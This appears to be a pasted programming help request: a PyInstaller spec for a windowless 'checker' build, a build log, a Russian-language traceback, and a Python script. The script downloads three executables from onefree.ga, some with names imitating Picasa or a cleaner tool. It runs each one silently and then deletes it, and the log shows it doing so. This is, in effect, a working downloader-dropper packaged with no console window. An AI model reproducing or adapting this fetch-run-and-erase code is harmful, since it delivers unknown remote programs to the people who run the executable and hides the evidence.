def resource_path(relative):
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative)
else:
return os.path.join(os.path.abspath("."), relative)
self.setWindowIcon(QtGui.QIcon(resource_path('1.ico')))
self.tray_icon.setIcon(QtGui.QIcon(resource_path('1.ico')))
# -*- mode: python ; coding: utf-8 -*-
block_cipher = None
a = Analysis(['1.py'],
pathex=['D:\\python\\checker'],
binaries=[],
datas=[('D:\\python\\checker\\1.ico', '.')],
hiddenimports=[],
hookspath=[],
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=True,
cipher=block_cipher,
noarchive=False)
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
[],
exclude_binaries=True,
name='1',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
console=False , icon='D:\\python\\checker\\1.ico')
coll = COLLECT(exe,
a.binaries,
a.zipfiles,
a.datas,
strip=False,
upx=True,
upx_exclude=[],
name='1')
pyinstaller fw.py
41 INFO: PyInstaller: 3.6
41 INFO: Python: 3.8.2
41 INFO: Platform: Windows-10-10.0.14393-SP0
41 INFO: wrote D:\python\fw.spec
42 INFO: UPX is not available.
43 INFO: Extending PYTHONPATH with paths
['D:\\python', 'D:\\python']
43 INFO: checking Analysis
43 INFO: Building Analysis because Analysis-00.toc is non existent
43 INFO: Initializing module dependency graph...
44 INFO: Caching module graph hooks...
51 INFO: Analyzing base_library.zip ...
2002 INFO: Processing pre-find module path hook distutils
2002 INFO: distutils: retargeting to non-venv dir 'c:\\users\\admin\\appdata\\local\\programs\\python\\python38-32\\lib'
4237 INFO: Caching module dependency graph...
4343 INFO: running Analysis Analysis-00.toc
4344 INFO: Adding Microsoft.Windows.Common-Controls to dependent assemblies of final executable
required by c:\users\admin\appdata\local\programs\python\python38-32\python.exe
4390 INFO: Analyzing D:\python\fw.py
4407 INFO: Processing module hooks...
4407 INFO: Loading module hook "hook-distutils.py"...
4408 INFO: Loading module hook "hook-encodings.py"...
4455 INFO: Loading module hook "hook-lib2to3.py"...
4457 INFO: Loading module hook "hook-pydoc.py"...
4458 INFO: Loading module hook "hook-sysconfig.py"...
4459 INFO: Loading module hook "hook-xml.etree.cElementTree.py"...
4459 INFO: Loading module hook "hook-xml.py"...
4498 INFO: Loading module hook "hook-_tkinter.py"...
4573 INFO: checking Tree
4573 INFO: Building Tree because Tree-00.toc is non existent
4574 INFO: Building Tree Tree-00.toc
4624 INFO: checking Tree
4624 INFO: Building Tree because Tree-01.toc is non existent
4624 INFO: Building Tree Tree-01.toc
4659 INFO: Looking for ctypes DLLs
4695 INFO: Analyzing run-time hooks ...
4698 INFO: Including run-time hook 'pyi_rth__tkinter.py'
4699 INFO: Including run-time hook 'pyi_rth_multiprocessing.py'
4705 INFO: Looking for dynamic libraries
4820 WARNING: lib not found: pywintypes38.dll dependency of c:\users\admin\appdata\local\programs\python\python38-32\lib\site-packages\win32\win32evtlog.pyd
4831 WARNING: lib not found: pywintypes38.dll dependency of c:\users\admin\appdata\local\programs\python\python38-32\lib\site-packages\win32\win32api.pyd
4936 INFO: Looking for eggs
4936 INFO: Using Python library c:\users\admin\appdata\local\programs\python\python38-32\python38.dll
4937 INFO: Found binding redirects:
[]
4940 INFO: Warnings written to D:\python\build\fw\warn-fw.txt
4993 INFO: Graph cross-reference written to D:\python\build\fw\xref-fw.html
5030 INFO: checking PYZ
5030 INFO: Building PYZ because PYZ-00.toc is non existent
5030 INFO: Building PYZ (ZlibArchive) D:\python\build\fw\PYZ-00.pyz
5963 INFO: Building PYZ (ZlibArchive) D:\python\build\fw\PYZ-00.pyz completed successfully.
5974 INFO: checking PKG
5974 INFO: Building PKG because PKG-00.toc is non existent
5974 INFO: Building PKG (CArchive) PKG-00.pkg
5987 INFO: Building PKG (CArchive) PKG-00.pkg completed successfully.
5988 INFO: Bootloader c:\users\admin\appdata\local\programs\python\python38-32\lib\site-packages\PyInstaller\bootloader\Windows-32bit\run.exe
5988 INFO: checking EXE
5989 INFO: Building EXE because EXE-00.toc is non existent
5989 INFO: Building EXE from EXE-00.toc
5989 INFO: Appending archive to EXE D:\python\build\fw\fw.exe
5991 INFO: Building EXE from EXE-00.toc completed successfully.
5995 INFO: checking COLLECT
5995 INFO: Building COLLECT because COLLECT-00.toc is non existent
5995 INFO: Building COLLECT COLLECT-00.toc
6525 INFO: Building COLLECT COLLECT-00.toc completed successfully.
python fw.py
есть
100% [........................................................................] 13677800 / 13677800Удален файл - D:\python\1\picasa39-setup.exe
100% [............................................................................] 773120 / 773120Traceback (most recent call last):
File "C:\Users\Admin\AppData\Local\Programs\Python\Python38-32\lib\shutil.py", line 788, in move
os.rename(src, real_dst)
PermissionError: [WinError 5] Отказано в доступе: 'D:\\python\\1\\Easy_Cleaner.exedxwq6zov.tmp' -> 'Easy_Cleaner.exe'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "fw.py", line 18, in <module>
sFile = wget.download(line)
File "C:\Users\Admin\AppData\Local\Programs\Python\Python38-32\lib\site-packages\wget.py", line 534, in download
shutil.move(tmpfile, filename)
File "C:\Users\Admin\AppData\Local\Programs\Python\Python38-32\lib\shutil.py", line 802, in move
copy_function(src, real_dst)
File "C:\Users\Admin\AppData\Local\Programs\Python\Python38-32\lib\shutil.py", line 432, in copy2
copyfile(src, dst, follow_symlinks=follow_symlinks)
File "C:\Users\Admin\AppData\Local\Programs\Python\Python38-32\lib\shutil.py", line 261, in copyfile
with open(src, 'rb') as fsrc, open(dst, 'wb') as fdst:
PermissionError: [Errno 13] Permission denied: 'Easy_Cleaner.exe'
import os,wget,os.path
from os import path
szFile='text.txt'
if path.isfile(szFile):
print("есть")
else:
print("нету")
f = open(szFile, 'w')
f.write('http://onefree.ga/picasa39-setup.exe\nhttp://onefree.ga/Easy_Cleaner.exe\nhttp://onefree.ga/mouserate.exe')
f.close()
with open(szFile) as file:
lines = file.read().splitlines()
for line in lines:
sFile = wget.download(line)
os.system(sFile)
os.system('del /q /s '+sFile)